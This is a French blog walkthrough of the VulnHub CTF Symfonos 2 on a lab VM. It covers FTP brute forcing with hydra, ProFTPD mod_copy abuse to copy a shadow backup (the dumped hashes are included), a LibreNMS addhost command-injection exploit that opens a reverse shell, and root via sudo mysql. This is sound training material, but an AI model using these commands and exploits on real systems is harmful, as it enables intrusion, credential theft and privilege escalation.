Accueil Solution du CTF Symfonos #2 de VulnHub
Post
Annuler

Solution du CTF Symfonos #2 de VulnHub

Je continue sur la série des Symfonos avec symfonos: 2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Nmap scan report for 192.168.56.113
Host is up (0.00011s latency).
Not shown: 65530 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         ProFTPD 1.3.5
22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 9df85f8720e58cfa68477d716208adb9 (RSA)
|   256 042abb0656ead1931cd2780a00469d85 (ECDSA)
|_  256 28adacdc7e2a1cf64c6b47f2d6225b52 (ED25519)
80/tcp  open  http        WebFS httpd 1.21
|_http-server-header: webfs/1.21
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:35:5B:CD (Oracle VirtualBox virtual NIC)
Service Info: Host: SYMFONOS2; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h59m58s, deviation: 3h27m51s, median: 59m57s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: SYMFONOS2, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-time: 
|   date: 2023-02-20T13:43:18
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.5.16-Debian)
|   Computer name: symfonos2
|   NetBIOS computer name: SYMFONOS2\x00
|   Domain name: \x00
|   FQDN: symfonos2
|_  System time: 2023-02-20T07:43:18-06:00

Je ne parvient pas à lister les utilisateurs Samba mais il y a un partage exposé :

1
2
3
4
5
6
7
8
$ smbclient -U "" -N -L //192.168.56.113

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        anonymous       Disk      
        IPC$            IPC       IPC Service (Samba 4.5.16-Debian)
SMB1 disabled -- no workgroup available

Dans ce partage anonymous se trouve un fichier log.txt qui correspond à une session de shell. En voici une partie :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
root@symfonos2:~# cat /etc/shadow > /var/backups/shadow.bak
root@symfonos2:~# cat /etc/samba/smb.conf                                                                              
#                                                                                                                      
# Sample configuration file for the Samba suite for Debian GNU/Linux.
--- snip ---
[anonymous]                                                                                                            
   path = /home/aeolus/share                                                                                           
   browseable = yes                                                                                                    
   read only = yes                                                                                                     
   guest ok = yes

root@symfonos2:~# cat /usr/local/etc/proftpd.conf                                                                      
# This is a basic ProFTPD configuration file (rename it to                                                             
# 'proftpd.conf' for actual use.  It establishes a single server                                                       
# and a single anonymous login.  It assumes that you have a user/group                                                 
# "nobody" and "ftp" for normal operation and anon.                                                                    
                                                                                    
# Set the user and group under which the server will run.                                                              
User                aeolus                                                                                             
Group               aeolus

--- snip ---
# A basic anonymous configuration, no upload directories.  If you do not                                               
# want anonymous users, simply delete this entire <Anonymous> section.                                                 
<Anonymous ~ftp>                                                                                                       
  User              ftp                                                                                                
  Group             ftp                                                                                                
                                                                                                                       
  # We want clients to be able to login with "anonymous" as well as "ftp"                                              
  UserAlias         anonymous ftp                                                                                      
                                                                                                                       
  # Limit the maximum number of anonymous logins                                                                       
  MaxClients            10                                                                                             
                                                                                                                       
  # We want 'welcome.msg' displayed at login, and '.message' displayed                                                 
  # in each newly chdired directory.                                                                                   
  #DisplayLogin         welcome.msg                                                                                    
  #DisplayChdir         .message                                                                                       
                                                                                                                       
  # Limit WRITE everywhere in the anonymous chroot                                                                     
  <Limit WRITE>                                                                                                        
    DenyAll                                                                                                            
  </Limit>                                                                                                             
</Anonymous>

Je suis parti sur un brute force du compte aeolus sur le serveur FTP. Et ça a marché :

1
2
3
4
5
6
7
8
9
10
11
12
$ hydra -l aeolus -P rockyou.txt ftp://192.168.56.113
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-20 14:00:44
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344381 login tries (l:1/p:14344381), ~896524 tries per task
[DATA] attacking ftp://192.168.56.113:21/
[STATUS] 2727.00 tries/min, 2727 tries in 00:01h, 14341654 to do in 87:40h, 16 active
[STATUS] 2736.00 tries/min, 8208 tries in 00:03h, 14336173 to do in 87:20h, 16 active
[STATUS] 2743.57 tries/min, 19205 tries in 00:07h, 14325176 to do in 87:02h, 16 active
[21][ftp] host: 192.168.56.113   login: aeolus   password: sergioteamo
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-20 14:09:53

A noter que pendant ce temps j’ai énuméré le serveur WebFS sans succès. Il y avait peut de chances de trouver quelque chose car un serveur méconnu comme celui-ci a sans doute des fonctionalités très limitées.

A tout hasard j’ai cherché des vulnérabilités existantes pour la version de ProFTPD et je n’ai pas été déçu : ProFTPd 1.3.5 - File Copy - Linux remote Exploit

Cette version a un module mod_copy qui permet de copier un fichier du serveur vers un autre emplacement local et visiblement sans grandes vérifications.

Je vais donc copier la sauvegarde du fichier shadow vers le path exposé par le SMB :

1
2
3
4
5
6
7
8
9
10
$ ncat 192.168.56.113 21 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.56.113:21.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [192.168.56.113]
site cpfr /var/backups/shadow.bak
350 File or directory exists, ready for destination name
site cpto /home/aeolus/share/yolo.txt
250 Copy successful
QUIT
221 Goodbye.

Je peux alors récupérer le fichier via smbclient comme précédemment (smbclient -U "" -N //192.168.56.113/anonymous). Voici son contenu :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root:$6$VTftENaZ$ggY84BSFETwhissv0N6mt2VaQN9k6/HzwwmTtVkDtTbCbqofFO8MVW.IcOKIzuI07m36uy9.565qelr/beHer.:18095:0:99999:7:::
daemon:*:18095:0:99999:7:::
bin:*:18095:0:99999:7:::
sys:*:18095:0:99999:7:::
sync:*:18095:0:99999:7:::
games:*:18095:0:99999:7:::
man:*:18095:0:99999:7:::
lp:*:18095:0:99999:7:::
mail:*:18095:0:99999:7:::
news:*:18095:0:99999:7:::
uucp:*:18095:0:99999:7:::
proxy:*:18095:0:99999:7:::
www-data:*:18095:0:99999:7:::
backup:*:18095:0:99999:7:::
list:*:18095:0:99999:7:::
irc:*:18095:0:99999:7:::
gnats:*:18095:0:99999:7:::
nobody:*:18095:0:99999:7:::
systemd-timesync:*:18095:0:99999:7:::
systemd-network:*:18095:0:99999:7:::
systemd-resolve:*:18095:0:99999:7:::
systemd-bus-proxy:*:18095:0:99999:7:::
_apt:*:18095:0:99999:7:::
Debian-exim:!:18095:0:99999:7:::
messagebus:*:18095:0:99999:7:::
sshd:*:18095:0:99999:7:::
aeolus:$6$dgjUjE.Y$G.dJZCM8.zKmJc9t4iiK9d723/bQ5kE1ux7ucBoAgOsTbaKmp.0iCljaobCntN3nCxsk4DLMy0qTn8ODPlmLG.:18095:0:99999:7:::
cronus:$6$wOmUfiZO$WajhRWpZyuHbjAbtPDQnR3oVQeEKtZtYYElWomv9xZLOhz7ALkHUT2Wp6cFFg1uLCq49SYel5goXroJ0SxU3D/:18095:0:99999:7:::
mysql:!:18095:0:99999:7:::
Debian-snmp:!:18095:0:99999:7:::
librenms:!:18095::::::

Le hash de aeolus correspond bien au mot de passe que l’on a déjà cassé.

On peut utiliser ce compte pour se connecter via SSH.

On découvre une fois connecté qu’un procesuss Apache tourne avec les droits de l’utilisateur cronus :

uid=1001(cronus) gid=1001(cronus) groups=1001(cronus),999(librenms)

Et il semble que le DocumentRoot du serveur web correspond au dossier /opt/librenms/ qui est géré par l’utilisateur librenms et les membres du groupe éponyme :

1
drwxrwx--- 26 librenms librenms 4.0K Jul 18  2019 librenms

Comme on ne peut pas lire les fichiers on va forwarder le port en écoute 8080 pour y accéder :

1
ssh -N -L 8080:127.0.0.1:8080 aeolus@192.168.56.113

On tombe alors sur une mire LibreNMS. Ce logiciel se présente comme cela sur Github :

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems including Cisco, Linux, FreeBSD, Juniper, Brocade, Foundry, HP and many more.

Les identifiants aeolus permettent de s’y connecter. Je ne trouve rien permettant d’exécuter des commandes ou d’uploader un fichier mais il y a un exploit pour ce qui semble être une injection de commande :

LibreNMS 1.46 - addhost Remote Code Execution - PHP webapps Exploit

L’exploit n’est pas très avancé, notamment il requiert qu’on lui passe les cookies en argument au lieu de faire l’authentification lui-même.

Il gère aussi mal le découpage des cookies quand le caractère égal est présent dans la valeur du cookie. J’ai du rectifier la partie qui gère ça :

1
2
3
4
5
6
7
8
# request cookies
cookies = {}
for cookie in raw_cookies.split(";"):
    cookie = cookie.strip()
    if cookie:
        # print cookie
        c = cookie.split("=", 1)
        cookies[c[0]] = c[1]

Après ça fonctionne (j’ai mis tous les cookies mais peut être que le PHPSESSID suffirait) :

1
2
$ python 47044.py http://127.0.0.1:8080/ "XSRF-TOKEN=eyJpdiI6ImRUbjN2NEt2YjA4Mk1hbXJBK0N5VlE9PSIsInZhbHVlIjoiVm9cL01Ba0dyYTN6MHlhbjdoVWJxK1RPcHZOWHFPUXhPYUF4V3VWZ3FRV2FiMnNpYjRPMkp1b0tXa2FsSHdtT1M0U0NPcWQxUzl0MHFZTWNoaERJbFNnPT0iLCJtYWMiOiJjMzcxMzUyOWFiZTRhOTZiZjU5Mjc4MjAxNWJlYWIwNDkyMTkyOWZjYzJlOGIwYWQyODcxNmNhMGNmMzU0ZDBiIn0=; librenms_session=eyJpdiI6Ild3UWVVM0VESERieWlQdmorNElPOGc9PSIsInZhbHVlIjoiMFhIenc2UThGWVFXSWU5cnlTMFR3VkFnTytpckVxSzVEbE0yeU1Fa1p2VlQxQ2hqMjA0d2hDNDhIT3VZZytDY1ZIRFVvOFJ3ZENpc21RaFh1SGxydWc9PSIsIm1hYyI6IjU5MzlhNDhiMzgyMjBjYjY0OTc4YWVkN2ZmOWM3ZTI4OGQ0OTUxOWZhYWE2OTliYmI0Mjc5ZWVkOGUyNTFkYWUifQ==; PHPSESSID=g4pm7kq5bqg0vu8lb08mvilmu7;" 192.168.56.1 9999
[+] Device Created Sucssfully

Il faut avoir préalablement mis en écoute un Ncat :

1
2
3
4
5
6
7
8
9
$ ncat -l -p 9999 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.56.113.
Ncat: Connection from 192.168.56.113:41036.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(cronus) gid=1001(cronus) groups=1001(cronus),999(librenms)

Depuis ce compte on veut exécuter une commande avec les droits root :

1
2
3
4
5
6
cronus@symfonos2:~$ sudo -l
Matching Defaults entries for cronus on symfonos2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cronus may run the following commands on symfonos2:
    (root) NOPASSWD: /usr/bin/mysql

Une fonctionnalité du client mysql permet d’appeler une commande du shell :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
cronus@symfonos2:~$ sudo /usr/bin/mysql
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 31
Server version: 10.1.38-MariaDB-0+deb9u1 Debian 9.8

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> \! /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
proof.txt
# cat proof.txt

        Congrats on rooting symfonos:2!

           ,   ,
         ,-`{-`/
      ,-~ , \ {-~~-,
    ,~  ,   ,`,-~~-,`,
  ,`   ,   { {      } }                                             }/
 ;     ,--/`\ \    / /                                     }/      /,/
;  ,-./      \ \  { {  (                                  /,;    ,/ ,/
; /   `       } } `, `-`-.___                            / `,  ,/  `,/
 \|         ,`,`    `~.___,---}                         / ,`,,/  ,`,;
  `        { {                                     __  /  ,`/   ,`,;
        /   \ \                                 _,`, `{  `,{   `,`;`
       {     } }       /~\         .-:::-.     (--,   ;\ `,}  `,`;
       \\._./ /      /` , \      ,:::::::::,     `~;   \},/  `,`;     ,-=-
        `-..-`      /. `  .\_   ;:::::::::::;  __,{     `/  `,`;     {
                   / , ~ . ^ `~`\:::::::::::<<~>-,,`,    `-,  ``,_    }
                /~~ . `  . ~  , .`~~\:::::::;    _-~  ;__,        `,-`
       /`\    /~,  . ~ , '  `  ,  .` \::::;`   <<<~```   ``-,,__   ;
      /` .`\ /` .  ^  ,  ~  ,  . ` . ~\~                       \\, `,__
     / ` , ,`\.  ` ~  ,  ^ ,  `  ~ . . ``~~~`,                   `-`--, \
    / , ~ . ~ \ , ` .  ^  `  , . ^   .   , ` .`-,___,---,__            ``
  /` ` . ~ . ` `\ `  ~  ,  .  ,  `  ,  . ~  ^  ,  .  ~  , .`~---,___
/` . `  ,  . ~ , \  `  ~  ,  .  ^  ,  ~  .  `  ,  ~  .  ^  ,  ~  .  `-,

        Contact me via Twitter @zayotic to give feedback!

Publié le 20 février 2023

Cet article est sous licence CC BY 4.0 par l'auteur.